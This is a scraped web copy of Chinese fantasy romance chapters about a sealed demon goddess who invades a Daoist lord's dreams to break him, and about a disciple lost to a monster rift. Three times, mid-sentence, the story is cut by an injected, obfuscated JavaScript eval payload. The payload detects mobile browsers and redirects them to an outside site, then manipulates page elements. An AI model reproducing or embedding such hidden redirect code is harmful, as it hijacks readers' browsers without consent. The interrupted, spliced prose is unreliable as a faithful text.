世间似乎安静下来,方才的动静仿佛不存在。 于他而言,已经习以为常。 “他怎么睡得着啊。” 突兀的声音打破宁静。 “他就没发现莲子里面没东西吗?” 敞开的窗户上侧坐着一人,她仰头望着那轮接近半圆的月,勾起唇:“大概是觉得昆仑镜的力量足以消灭所有生灵。” “那我们不带他走了吗?”小蛇趴在北溯肩膀上,看向睡着的人。 “带不走啊。”纤细的小腿晃着,她漫不经心道:“护宗大阵加上七绝阵,还有昆仑镜,我还没摸透这朵莲花的实力,贸然带人走,很危险哦。” “那我们今晚不就徒劳而返了?” 北溯的笑容扩大,侧脸看向殿内,地面投上她的轮廓。 “我帮他编织了一场梦,能够勾出他内心深处欲望的梦。” “梦中情绪波动最强烈之处,就是他的弱点。” 苍穹之中的弯月逐渐转圆,剔透无暇的月光洒下,即便是夜晚,也如同白日般可看清一切。 成镜立于无边海面,低头望着海面倒映出的圆月,眼睫轻颤。 一轮圆月当空,漫无边际的海水平静无波,世界仿佛被隔绝,静谧得连呼吸声都无。 如此浩荡缥缈的空间,只有他一人的身影。 成镜垂眸,眼底的圆月几乎占据他整个瞳孔,他只着一身薄衫,月辉与银白薄衫融合,遗世而独立,颇有几分谪仙之气。 垂下的长睫只颤了一瞬,缓缓提起。 “他会梦到什么?数不尽的荣华富贵,威名响彻三界,或是梦见自己飞升成仙?” 来到道宗这三个月里,多次听起道宗弟子称赞这位成镜道君。 说他在道宗百年来,次次救道宗于危难之中,即使对上已入神境的妖王,也丝毫不惧。 说他是三百年来,最有望飞升成仙的人。 飞升成仙? 像她一样,飞升后就被那群老不死的联手封印,三百年才得以重见人世? 可笑。 北溯歪头,小蛇跟着一起歪着脑袋。 她抬起腿,轻盈落进殿内,垂落的发丝轻扬,不急不缓地走向床榻。 嘴角噙着若有若无的笑,粗略一扫,以为她唇角勾起,仔细看去时,她的唇并无弧度,仿佛那一眼是错觉。 北溯在床榻边站定,缓缓俯身,靠近陷入梦魇之人的脸。 面容平静,并无半分被梦魇着的急促不安。 她的影子投在他身上,遮住月光,离得他很近,再往前一分,便能碰到他高挺的鼻梁。 “北北,他睡觉还挺好看的。”小蛇冒出来,竖瞳盯着成镜看了会,忽然说。虽然睡觉姿势像死人,但很斯文。 北溯没有回应小蛇的话,目光细细描摹他的眉眼,鼻梁,薄唇,掠过他的下巴,落在他凸起的喉结上。 那时她就注意到了,他说话时,喉结滚动,一下一下的。 她直起身,俯视床上的人。 薄衫垂坠感十足,躺下时贴合身体,将他身体曲线凸显得一眼便可看清楚。健硕有力,该有的都有,且尤为壮观。 不过他即使睡着,如此安静,依旧给人一种清冷不可亵渎的感觉,与他这身衣衫带来的视觉冲击尤为矛盾。 怎么会有人洁净得出淤泥而不染,却又让人在他身上看到几分狂野涩气。 北溯扫过他的身体,皱起眉,意味不明地吐出一句话:“穿这么透,勾引谁呢。” 小蛇嘿嘿一声:“我觉得挺好,要是不穿就更好了。” 北溯抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860743|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了一下它脑袋,教育它:“小孩子少想黄色废料。” 小蛇委屈地哦了一声,心中腹诽:明明是你先想的,不然我怎么会感觉到。 北溯朝窗外看去,巨大窗口框进来一轮月亮,那月逐渐已经渐渐趋于圆。 “让我看看,你都梦见了什么。” 她抬手,覆于成镜眉心,刚碰到那枚莲花印记,一股拉力传来,她的身影消失。 一望无垠的海面上,一朵盛开的莲花浮于水面,莲台之上,那人盘腿而坐,眼帘垂下,发丝乖顺地垂于身后,平静淡然。 宛如不问世事的神人。 一片海,一轮圆月,一座莲台,一人。 “他的梦里只有月与海。”小蛇奇怪道:“正常人不应该梦功名利禄加身吗?再不济也是大仇得报,他怎么在那打坐?” 北溯走过去,在莲台前站定,仔细看阖上眼帘的人,他安静得如同雕像。 片刻后低笑:“他太纯洁了,纯洁得连欲望都没有。” “怎么会有人连欲望都没有?那我们要怎么找到他的弱点?” 北溯慢步后退,目光依旧在他身上,眸色深深:“是啊,怎么会有人没有欲望呢?” 看着他的眼里有什么不可名状的东西疯狂躁动,如同深渊里隐藏的巨兽,一旦冲出来,便是灾难和毁灭。 “那我只好刺激刺激他。” 后退的脚步站定,离莲台不到两米距离。她看着他,单手挥动,法印逐渐成型。 “没被污染前,金莲确实是世间最圣洁纯净之物,难怪那群老不死的如此宝贵这东西,不仅可以用来活死人,肉白骨,修复仙骨。” 小蛇听出她话里的讽刺,竖瞳缩成一条线,飞快吃了北溯指尖生出的法印,身形壮大,它立于北溯身后,女子的身影在庞大的蛇身面前,显得格外渺小。 “但谁也没试过去玷污金莲,自然也就没人知道,被玷污后的金莲,是否还能有这样的效用。” 讥笑过后,北溯眸中浮现几分疯狂:“将这朵金莲炼化成我的容器,怎么不算是玷污他?” 真迫不及待想看到被她借用他身体修复鳞舞时的他的表情,那应该,会很好看。 被奉为道君的人,怎么能忍得了,变为他人的容器呢。 可惜那群老不死的不在了,不然她真想在他们面前,将这株金莲折下,让他们亲眼看着,被他们宝贵得比命还重要的金莲,是怎么在她手中,跌入深渊,万劫不复。 她扬起的手伸出一根手指,指向莲台上的人。 “吃了他。” 黑蛇涌动,张开巨口,獠牙骇人,将他与莲台一同吞下。 巨口合上前,静坐许久的人轻轻抬起眼帘,只看到空无一人的虚无。 他的低喃被黑蛇吞没,沉入北溯为他编织的梦中。 小蛇缩小身躯,打了个嗝,一头栽入海中,一道弧光划过,海面逐渐显现出画面。 男人被一手按倒,胸前薄衫撕裂,那只纤细的手按在他胸膛上。莲香荡漾开,萦绕周身。 那只手还在往下移,挑开腰带。 他忽然握住那只手,极为用力。 5. 第 5 章 成镜仰起脖颈,双眸看过去,手中忽然一空,什么都没有。 莲香迅速散尽,空气中只有令人发寒的冷意。 躺在床上的人猛地睁眼,起身坐直。 成镜抬手抚过眉心,莲花印记闪烁,一道强大的气息瞬间从寝殿扩散至莲池边缘,所至之处皆被他感知到。 池塘中莲花皆将讯息传达给他,并没有人来过。 除开从被摘的荷叶上感知到那名女子隐藏在他边上,这次莲池中生物并未感知到其他人的气息。 以莲身修炼,也从未接触过,他不该梦到这些。 垂眸盯着胸前衣裳,良久才抬头。窗外月牙落入眼中,眉间微不可查地蹙起。 他起身,走出寝殿,来到石石坛前,那颗莲子还在,他拾走莲子,走到水岸边,松开手,莲子坠入水中,微波荡开。 并无任何反应。 被她逃脱了。 他抬手禁阵内施加数道阵法,转身行至大殿内,坐于莲台上,阵法隔绝外界一切气息,打坐修炼。 留给他的时间不多了。 在他伸手过来时,北溯立刻中断梦境,回到莲池。 “差点被他抓到。”她回望雾气,“实力确实不可小觑。” 小蛇哼哼一声,问:“那北北你要放弃吗?” 北溯摇头。 漆黑的眸倒映出月的身影,她转身,走在塘埂上:“不可能。” “已经找到他,怎么可能放弃。”北溯招手,小蛇听话地缠上来,她摸了摸小蛇脑袋,对它说:“这次不成,还有下一次。” 刚要回小破屋待着,还未走几步,身形顿住,她的神识忽然铺开,捕捉到天空有异动,却没出手,也未曾停下脚步。 下一秒整个人被一股巨力抓住,瞬间腾空。 凉风飕飕,一眨眼,对上一双发光的红色妖瞳。 凤鸣一看被自己抓上来的人,吐出两个字,随手一扔:“错了。” 一捞一扔,间隔不到几息,扑通一声,坠入池塘的水花声起。 被扔下去的北溯冷呵一声,好你个凤鸣,我记住你了。 浮出水面,北溯抹了一把脸,朝塘埂走去。人刚走到塘埂边上,一团火球照亮眼前视野,凤鸣蹲在塘埂上,低头看她。 长着一张美人脸,张口就是威胁:“别叫,不然我就杀了你。” 北溯:“好的。” “你还挺配合。” 配合的北溯:“麻烦让让,我先上岸。” 她语气很平淡,带着一股令人听了就下意识照做的轻微命令语调,凤鸣反应过来时,人已经往边上挪开。 他眯起眼,眼神不善地盯着她走上塘埂。 湿透的衣裳黏在皮肤上,贴合身体,勾勒出身体曲线。湿发垂于脑后,水珠自额间滑落,湿润长睫垂下,俯视身前还蹲着的妖王。 这一幕远远看着,宛如忠贞的下属跪在他的殿下面前。 凤鸣忽然冷了脸,面无表情地将火球砸在她身上,站起身,顿时从仰视变为俯视。 看着浑身被蒸干的女子,他威胁:“方才我在你身上下了禁咒,只要我想,便可取了你的命。” 北溯看着他不说话,至于他说的禁咒……这家伙还是那么喜欢唬人。 小蛇跑到他头顶蹦了好几下,瞅了眼北溯,尾巴尖拍了一下他脑袋,嫌弃道:“三百年不见,凤鸣你怎么眼瞎了,北北就在这!变幻了容貌你就看不出来了?” 头顶吹过一阵冷风,凤鸣没在意,继续威胁:“你想死吗?” 北溯配合他的威胁:“想活。” 凤鸣这才露出笑:“想活就照我说的去做,你,找到画上的人,我就解开你身上的禁咒。” 一幅肖像画展开,北溯很给面子地去看,他却又拿出好几幅,她一一看过去,小蛇在她耳边笑。 画里没一个是她的真容。 凤鸣最后给了她根羽毛:“找到后将其点燃,我自会感知到。” 北溯怀里被塞满了画,没手接,凤鸣扫了她一眼,直接把羽毛插在她头发里,阴险一笑:“你敢糊弄我,或者向道宗那群老不死的告密,你这条小命,就别想要了。” 说完化为一道火光,划过天际,池塘倒映出火红光亮,转瞬即逝。 北溯双臂垂下,画卷掉了一地,小蛇落到地面把画卷摊开,一看画中女子的面容,尾巴尖挠挠脑袋:“北北,你之前变过这么多张脸啊。” 北溯也没想到,凤鸣竟然能将她的所有变过的容貌都收集了,有好几个她都没在凤鸣面前出现过。 她低头思考了一瞬,觉得这人真奇怪,这么急着找她干嘛,被封印前,他不是巴不得她死? “北北你要告诉他吗?他要找的就是你哎。” 北溯否决,“告诉这家伙,会坏我好事。” 将羽毛变幻成发簪模样,北溯望了眼凉亭方向,“连有妖王潜进来都不知道,这群修士真是吃干饭的。” 她拎起背篓回了小破屋,被她打晕的人睡姿极为难看,双手双腿张开,呈大字将整张床霸占,这次脚还伸到床尾,连床尾都没得睡。 北溯拎着珩玲裤脚,把她往里头挪,看了眼她眼睛,还是肿着的。 她在外头躺下。 “他应该已经突破无妄境,只差一步便可入神境。” 凡人通过修炼提升自身能力,修为逐步提升,达到最高境界入神境,参悟过后,离飞升不远了。 “我已经储存了他的气息,”小蛇蹭了蹭北溯脸颊,贼兮兮道:“明晚我们再去试试呗。” 北溯将它弹走:“我看你是想吃他。” 小蛇嘿嘿一声,没反驳,问她:“那你什么时候开始炼制他啊?” “唔……”北溯仔细想了想,把小蛇抓到手心里,感知了会和它的连接,片刻后凝出颗星子给它吞了。 “你不要再给我喂你的灵源了,灵源受损很难补的。” 北溯摸了摸它脑袋,回答它之前的问题:“找到他弱点后。” 她低估了他的实力,若是未被封印前,直接便可拿下他。现在么,只能小心些,用梦境摧毁他的意志,找到他的弱点。 再将他拿下。 * “嗯……” 日光照进屋内,床上的人翻了个身,一睁眼,可疼了。 珩玲痛苦地捂着眼,亮光刺进眼里,火辣辣地疼,她一手捂眼一手摸索,下意识喊人。 “裴云霄,你在不在?我眼睛好疼,我要瞎了……”说着说着,她还哭了出来。 不过一会,有人把她手扒下来,冰冰凉凉的东西糊到眼睛上,都顾不上哭,吓得直接去抓那只在自己脸上抹来抹去的手。 “你在我眼睛上抹了什么东西?” 北溯将她要把藕粉抹掉的手掰开,单手钳制住她双手,继续在她眼睛上抹。 “好东西,能消肿。” 小蛇胀着肚子飘进来,打了个饱嗝,“北北,藕粉好好喝。” “真的?你没骗我?” 北溯抹完,松开她,去洗手。 珩玲问完这句又没得到回答,又急又害怕,“你怎么不告诉我啊!每次我问你你都不回答我,你是不是对我有意见!” 北溯将小蛇剩下的藕粉喝完,走向露台,去给藕磨粉。 珩玲摸了下眼睛上黏糊糊的东西,咦惹一声。 小蛇凑她边上说:“玲玲,这是莲藕粉,能吸收你眼睛里的妖气。” 妖族秘法都融合了妖的妖气,人若是染上,不驱除出去,要么死,要么变异。 变成既不像人又不是妖的怪物。 别的弟子那应该有人医治,珩玲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860744|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来得急,还没上报她染上妖气了。 珩玲听不见,害怕又好奇,甩掉手上的一坨,摸索着下床。却听到外头传来石磨运作的声音,愣在原地,片刻后嘴角扬起。 裴云霄,你个刀子嘴豆腐心的坏女人,哼! 一个时辰后,珩玲听见她说可以清理了,立刻拿东西擦干净。 敷的时间太长,一摸脸,好凉。当她再次尝试睁开眼睛,一点都不疼了。高兴得蹦出去,问:“你给我抹的是什么啊,效果这么好,还香香的。” 北溯一指容器里的藕粉,“喏,就这个。” 珩玲不相信,她要是用了莲池里的莲藕,道君不计较,陆微璎都得罚她们。 顿了会,一个激灵想起来自己莫名其妙睡了那么久,昨天裴云霄一个人肯定挖不完池塘里的藕,心急得要去拉她去挖,被她一口拒绝。 珩玲刚要板起脸,想到她救了自己,纠结一番,松口了,边拿背篓边说:“那我去,你先休息会。” 北溯看了眼她,没说话。 小蛇笑嘻嘻:“玲玲你不用去啦,北北已经全都弄完啦。” 可惜珩玲听不见,走之前还不忘告诫:“只能休息一会!” 北溯敷衍地嗯了一声。 当珩玲回到莲池,看见塘埂上整整齐齐的莲藕,惊呆了。 “什么时候挖完的?” “有好心人帮我们挖完了?” 她弄了一背篓的藕带回去,一进院子就冲屋里喊:“裴云霄!我们不用挖藕了!有人帮我们挖完了!” 北溯听着她欢喜的声音,走出来。 小蛇得意:“是北北挖的!” 刚说完,瞥见来人,没好气地哼了一声,回到北溯肩头盘着。 “道君有令,命你们二人立即前往吞云殿。” 陆微璎一进来就闻到一股莲香,四处查看,见着露台上的藕,以为是莲藕散发的,没多说,见两人不动,催促:“宗主与道君还有诸位长老等着,你们快点。” 一听成镜在,小蛇嗖的一下就往吞云殿冲。 “北北!冲呀——” 北溯无奈,抬脚去追小蛇,珩玲见她走,立刻跟上。两人一前一后出了小院,只有珩玲快速对陆微璎行了礼,北溯直接无视了她。 她却没想到北溯态度不尊重,注意力全在在北溯走过她身侧时,嗅到的更浓的莲香。 狐疑的目光投向远去的背影,陆微璎难以置信地吐出一句:“她身上哪来的莲香?” 整个道宗只有道君身上有莲香,她怎么会有? 小蛇跑到半路又回来,瞄了陆微璎一眼,有点担心,“北北,我们该不会是被发现了吧?” 说完,小蛇蹦跶两下,激动道:“要是被发现了,那不就更刺激?” 北溯听着小蛇的话,想起昨晚成镜在梦境中的表现,微微扬起唇。 是啊,被他发现了,会更刺激。 那时他的表情,一定相当精彩。 越想,越兴奋。 北溯遥望莲池方向,缓缓对小蛇说:“鳞舞,你说,他有没有发现,昨晚他并没有抓住我呢。” 小蛇摇头,忽然想到一个主意:“我们可以假装被他抓住!话本里都是这么玩的!” 嘿嘿嘿,扮演游戏,它懂的。 北溯觉得这个主意还不错,也不知道以后有没有机会用。 但她嘴里说的话却是:“已经跟你说过,小孩子少看小黄书。” 小蛇觉得很无辜,明明是北北你自己看,我才知道的! 行至吞云殿外,未经允许不得进入,她们只好在外面等。 北溯轻轻一嗅,闻到熟悉的莲香,神识放开,探入殿内,感知到那朵莲花的存在,尤为关注地在他身上多停留了片刻。 男人忽然抬眸,朝她的方向望过来。 6. 第 6 章 “这妖王突袭我宗,却又突然离开,昨夜又有异动,妖族可是有什么阴谋?” 偌大的吞云殿空旷缥缈,此处位于道宗最高峰九重山最高处,抬手便可触碰云层,大殿四面敞开,未曾设门,云层涌入,如同被吞没,吞云二字便是如此得来。 殿内只有五人,首位端坐一名黑袍女子,发丝一丝不苟地梳成一个发髻,眉间一点红,气质森冷,面无表情。 这位正是道宗宗主,天綪,无妄境尊者。 闻言,她目光扫过下方四人,落在一头白辫子老者身上。 星峦道:“昨日收拾残局时,我发现东南角护宗大阵有破损,在周围发现异种裂缝,这不是个好兆头啊。” 人染上妖气成为不人不妖的怪物后,被称为异种,它们没有理智,比妖兽还麻烦。 它们不像妖兽能收敛妖气,时时刻刻散发且不会消散,一旦被吸入体内,就会被染成与它们一样的怪物。在彻底被妖气侵染前,只有将妖气驱逐出去,才能避免变成异种。 异种无法长久暴露空气中,大部分都蜷缩在裂缝里,有人窥见过裂缝,里头深不见底,黑漆一片,听不见任何声音,完全不该是这个世界应该出现的。 星峦这么说,他对面两人皆露出担忧之色。 “这东西怎么跑来道宗了?上次出现,不是在魔域吗?”说话之人乃道宗三大长老之一,墨九歌。 “必须尽快修补好护宗大阵,若是那裂缝越过大阵潜入我宗,那时怕是麻烦了。”另一位白发老妪开口。 这几人你一句我一句说完,皆将探寻目光转向左上青衣男人,他低垂眉眼,似是在看衣摆上片片荷叶。 “道君昨晚可是遇到危险了?昆仑镜多年未启,昨晚您……” 被人提起,成镜淡声道:“昨晚捕捉到一丝异象,这才借昆仑镜的威能查看,并无危险。” 三位长老点点头,没再问,昨晚若是有人要行不轨,七绝阵便能查出异动,但昨晚并无响动,想来是无事。 他们对成镜极为信任,加之确实无事发生,稍稍安了心。 天綪却看了眼成镜,没有开口。 “那如今要紧的便是修补大阵,这事我带人去做即可。”星峦起身,正要向宗主请命,殿外传来女声:“禀道君,人已带到。” 三人齐齐望去,只见陆微璎带进来两名女弟子,其中一人尤为吸引目光,她走得漫不经心,与身侧明显紧张的女弟子一对比,她倒是像进了自己老家,悠闲自在,不见丝毫局促。 但见那女弟子一直盯着一个方向,皆在心中摇头,还是太嫩了,见着道君就移不开眼。 北溯确实在看成镜,但她首先看到的是在成镜周围蹦跶的小蛇,眼神警告,敢贸然动手,就把它熬成蛇羹。 小蛇讪讪收回要勾成镜搭在腿上手的尾巴,回了她身边。 小蛇一回来,北溯收回目光,未在成镜身上再留一丝目光。 待她走近,几人皆是嗅到一股淡淡莲香,诧异望向成镜,见他没甚反应,互相对视一眼,心中都不约而同地浮现同一个念头。 这女弟子身上怎么会有莲香? 陆微璎见北溯还站着,怒喝:“见到宗主,还不行礼?” 北溯挑了眉,直视首座之上女子,那女子身后乃是一幅众神补天浮雕,她坐在这浮雕前,且位于高处,颇具压迫力。 她抬手扶额,行了个还算过得去的礼。 “那我这就去修复阵法——” 一直无所动静的人掀起眼帘,女子姿色平平的面容映入眼帘,成镜缓缓开口:“让她去。” 小蛇哎呦一声:“北北,他注意到你了!” 成镜眸光只在北溯身上停留一瞬,屏息闭气,隔绝那股莲香涌入鼻腔。 他从未闻到过如此浓郁的莲香。 令他不适。 天綪终于开口,却只向着成镜说:“你重莲殿两名侍奉弟子昨日在妖王袭宗时,表现出色,派她们二人去修补大阵,当是能助星峦长老一臂之力。” 小蛇一听,盯着她看:“她是在提拔你吗?” 北溯不觉得。 “日日繁忙操心宗门的宗主,怎么会关注到底层弟子。” 小蛇震惊:“那她是在诈你?” 北溯没回它,微微皱眉,她总觉得,这位宗主身上有自己熟悉的气息,让她不舒服。 这事轮不到她们拒绝,被星峦带着离开吞云殿,叫她们直接去传送阵,先到东南位,等他带着其余弟子过来。 珩玲很激动。 “裴云霄,宗主注意到我们了!我们这次完成任务,会不会就要被提拔为内门弟子了?” 小姑娘实在太高兴,北溯也没什么兴趣将背后弯弯绕绕说给她听,只嗯了一声。 “我哥就在内门,他资质比我好,现在已经是通脉境了,要是我也能进内门,以后应该能多见见他。” 北溯听珩玲说起她哥过,她哥叫珩断。 说曹操曹操就到,星峦带着五名弟子走来,珩玲目光立刻转向他身后。 从她看的位置来看,走在最后的那名蓝衣少年便是,看见珩玲朝他招手,他笑了笑,快步走过来。 北溯懒得看两人寒暄,让出空间。 片刻后星峦带着他们直接出了道宗,下山往一处高塔而去。 “周围可能会有异种裂缝,你们小心些,千万不要陷进去。” 小蛇一听有异种裂缝,戳了好几下北溯:“那天看到的裂缝这么快就到这来了?” 异种裂缝只会出现在人群集聚处,还会追踪活人气息,人只要在裂缝附近,裂缝就会移动,吞噬人。 但裂缝吞噬够人后,就会暂时闭合。 北溯立刻想明白了成镜与天綪的意思,前者要借裂缝来试探她,后者怕是根本不在乎她们死活。 他们怕是用来填裂缝的牺牲品。 耳畔传来少女笑声,北溯顿了脚,只思考一瞬,掉头朝珩玲走去,一把抓住她衣领,往边上拉。 珩断眼中戒备,抬手要打掉北溯的手,她一个眼神射过去,瞬间被威慑住。那眼里只有毫不掩饰的杀意,只要他动一下,自己就会死。 这样的念头淹没在珩玲挣扎的声音里。 “裴云霄,你干嘛呢。” 北溯直接将一张符纸塞进她怀里:“拿着这个,可保命。” 珩玲摸不着头脑地捏着符纸,上头用鲜红的墨画着看不懂的鬼画符,刚要问,人已经走远了。 珩断冲过来,关切道:“没事吧?” “我没事。”珩玲把符纸藏到身后,对珩断摇了摇头,望着已经走远的人,扬起嘴角。 裴云霄呀裴云霄,真没见过比你还嘴硬心软的人。 一刻钟后终于见到被树木遮挡的高塔,星峦将拐杖插入地面,星光涌出,高塔塔尖亮起,阵法之力冲向地面,破损的阵法显露众人面前。 “阵眼被破坏了,修复起来难得多。”星峦一招呼,叫他带来的五名弟子立刻助他修复阵眼,北溯与珩玲二人在边上守着。 “一旦开始修复,不可停。中断后此处阵法便会溃散,届时护宗大阵破损更为严重。” 护宗大阵由八百道阵法组成,环环相扣,缺一不可。 珩玲想在边上看着他们是怎么修复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860745|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,跟着学习学习,北溯随她去了,上了树杈,闭眼休息。 小蛇冒出来问她:“莲花是认出你了吗?” 北溯哼笑:“他没认出来,在试探呢。” 毕竟连宗主都知道她们昨日表现“出色”,成镜怎么会感知不到昨晚小破屋里只有珩玲一个人。 不过这样才有意思,在试探她的过程中被她一点点摧毁,最后发现她就是昨晚没被他抓住的人,那时他该很崩溃吧。 “唔,今晚给他设置一个什么样的梦境好呢?” 昨晚被他在半途中挣脱,今晚得弄个难点的。 思绪被空气中的异常波动打断,北溯瞥了眼悄悄张开的裂缝,没动。 小蛇也感知到了,裂缝在缓慢朝高塔前方七人靠近,他们靠得太近,人味聚集到一起更浓,很容易吸引裂缝。 北溯以为他们应该知道裂缝会往人多的地方去,三百年前她都知道,三百年过去,这群人居然不知散开。 “北北要去救他们吗?” 北溯重新闭上眼:“不救。” 这些人与她没有关系,救什么?三百年前被人族背刺,被封印三百年,她还没找人族算账,怎么会救他们。 变故只发生在一瞬间。 一名弟子收了灵力,准备叫那个外门弟子来替一会,一转头正面对上张开的裂缝,只来得及吼了一声,被里头的异种拉了进去。 下一刻,场面尤为混乱。 “闭气!”星峦撑着不能中断,其余四名弟子必须得去抵抗从裂缝里爬出来的异种,那些有着人特征的怪物冲他们扑过来,裂缝里有什么黑紫色颗粒物飘入空气中。 北溯瞥了眼珩玲的位置,她离裂缝较远,还算安全,没再关注。 不过片刻,小蛇忽然喊她:“北北,珩玲被拉进裂缝里了。” 北溯骤然直起身。 她没关注的那几秒钟里,裂缝从珩断那找到突破口,一只异种伸出爪子去勾他的衣领。 珩玲一眼瞥见,迅速冲过去,想也没想,把符纸塞进珩断手里,迅速对珩断说:“这个可以保命!” 符纸一入珩断手,那只异种立刻缩了回去。 珩玲见有效果,脸上浮现大大的笑容:“哥,我——” 她的声音瞬间消失。 裂缝里又伸出一对青紫的手臂,扣住她的脑袋,就这么拉了进去。 珩断呆滞,旋即嘶吼出声,冲裂缝跑去。 边上的弟子见他要送死,一把拉住他,“你脑子进水了吧,死了个外门弟子而已,你要把命搭进去?” 珩断怒吼:“那是我妹妹!” 那弟子不管,让他保护星峦:“异种裂缝进入宗内,到时候死的就不止你一个妹妹了!” “北北,玲玲没了唉。”小蛇恍惚,尾巴都没劲摇。 北溯没说话,看着剩下的人重新筑起防御阵,隔绝人味后,异种爬了回去,裂缝却还在那,像是一幅画被泼了墨,浓稠的黑雾往外溢。 有弟子注意到北溯从头到尾没出手,立刻质问她。 北溯坐在树枝上,低头俯视他们,看着这群懦弱的人将错归于她身上。 “你居然躲在边上不来帮我们,你还算是道宗弟子吗?” “要不是你躲着,我们会死两个人吗!” 北溯笑。 她当然不是道宗弟子,她连人都不是。 她抬手,轻轻抚摸小蛇背脊,小蛇一哆嗦,有些害怕。 “我想到今晚要给他制造一个什么样的梦了。” “就让他当一回刽子手,屠尽天下人,被千夫所指,终生活在痛苦中。” 7. 第 7 章 “这次裂缝出现得突然,阵法又没法中断,损失两名弟子。被异种拉入裂缝里,尸骨都无。”星峦说这句话时,成镜并无表情。 “你这重莲殿也没几个人伺候,现下又少了个,不然再从底下挑选个过来……” 凉亭里人在说话,塘埂上北溯和那几名幸存的弟子站着,除了珩断,都将目光投向她,问她话。 北溯起先没什么反应,她在看凉亭里的人,还是小蛇提醒她有人在和她说话。 等她转过头看过去,他们问:“你同伴死了,你都不难过的吗?” 北溯扫了眼这几个男的,他们死了个同伴,面上看着是在为那位死去的同伴难过。 “她不是我的同伴。”她的声音没什么情绪起伏,小蛇看着她,竖瞳泛上心疼。 “我没有同伴。” 那几名弟子纷纷往后退,离她远点,转头看向从回来后就没说过话的珩断,其中一人上前拍了拍他的肩,随口说了句:“节哀。” 珩断没有反应。 北溯看了眼,没说话。 “他应该很难过吧,自己的妹妹被拖入裂缝。” 一旦被拖进去,没有再出来的可能。 小蛇看看北溯,犹豫着要不要也安慰她,被她发现,语气嘲讽:“怎么,你也觉得我该难受难受?” 小蛇尾巴立刻摇得起飞:“没,我才没。” 吓死蛇了,差点忘了北北最不喜欢别人安慰她。 片刻后,小蛇盯着凉亭那,竖瞳缩成一条线,没好气道:“北北,他们在说你坏话!” “若非三百年前那邪神作恶,世间又怎么会出现异种怪物,无法完全彻底清除,还搞出了裂缝。好在那邪神被封印了,不然她定然还要祸害人间。” 小蛇转头看北溯,她好像没什么反应。 那边还在说,小蛇气呼呼瞪着星峦,“污蔑,这是污蔑!” “什么都不知道就瞎说,你们就知道污蔑人!”说完它扬起尾巴摸摸北溯脑袋,安慰她:“北北别听,是恶言。” 北溯在听,她想知道自己被封印的这三百年里,这些人都是怎么“评价”她的。 “当年若不是那几位仙人舍生取义封印了邪神,今日我们便是在炼狱中。” 仙人?舍生取义? 那几个老不死的也能被人用“舍生取义”来称赞了,真是可笑。 看样子星峦听过当年的事,但也仅限于传闻。他的年纪摆在这,三百年前她被封印时,他还没出生。 “唉,当初要不是邪神破坏世间体系,也不会引得妖界崩塌,致使那么多人变成怪物,人间也不会乱成这样。” “他又在说你!” 北溯轻笑:“他这话不假,妖界崩塌确实是我一手造成的。” “但你也是为了……”小蛇说不出来了,她们妖和人一直都是对头,加上当年北北做的事,不可能有人会相信她。 算了,还是尽快把莲花带走,回妖界吧。 那边人聊完,成镜拒绝了星峦再招一个人来重莲殿的提议,星峦汇报完后,扶额行礼,拄着拐杖带着弟子们离开。 珩断一句话未说,看也没看北溯,掉头就走。 小蛇没好气道:“北北的符咒好歹也救了你,都不说一声谢谢。” 它缠回北溯手腕上,仰头问她:“北北,我们要回小破屋去吗?” 北溯嗯了一声,说:“藕粉还没磨完。” 她看也没看凉亭内的男人一眼,直接离开。 成镜凝眸看她的背影,指尖莲花绽放又合拢,重复数次,隐匿回去,抬手打开禁阵,转身进去。 脚下步步生莲,他的身影倒映水中,片刻后,穿着黑袍的女子在他身后落下,站在凉亭连接水栈的台阶上,未曾往前迈一步。 “你怀疑那名女弟子有问题?”嗓音冷冽,没有丝毫温度。 天綪看着一步步隐入雾气中的男人,再次开口:“你飞升在即,万不可出任何差错,那名女弟子我帮你解决了。” 成镜没有应声。 “如今人界只有你有能力飞升,你成仙,才能解决裂缝,拯救人世。”天綪语气依旧冷淡:“不论是谁,都不能挡你飞升。” 雾气笼罩,水栈渐渐消失,禁阵合上,天綪久久凝视重莲殿的方向,眸色幽深。 小破屋里静悄悄的,小蛇在屋子里看了一圈,有些不舍,“玲玲还没见过我本体呢,就这么没了。” 屋子里都是珩玲的东西,她哥送的小玩意,窗口挂着一个贝壳做的风铃,北溯觉得那声音不好听,珩玲非要坚持挂着,后来么北溯施法让风铃响不了,珩玲解不开咒法,气了好几天。 小蛇觉得,比起那个难听的风铃,珩玲也是个风铃,天天叽叽喳喳,比风铃还吵。 现在没人吵了,它还有些不适应。 跑到外面看到北溯已经磨完藕粉,小心翼翼问:“我们要现在送过去吗?” 北溯摇头:“等天黑。”她的力量在夜晚发挥的威力更强。 小破屋在傍晚时迎来不速之客。 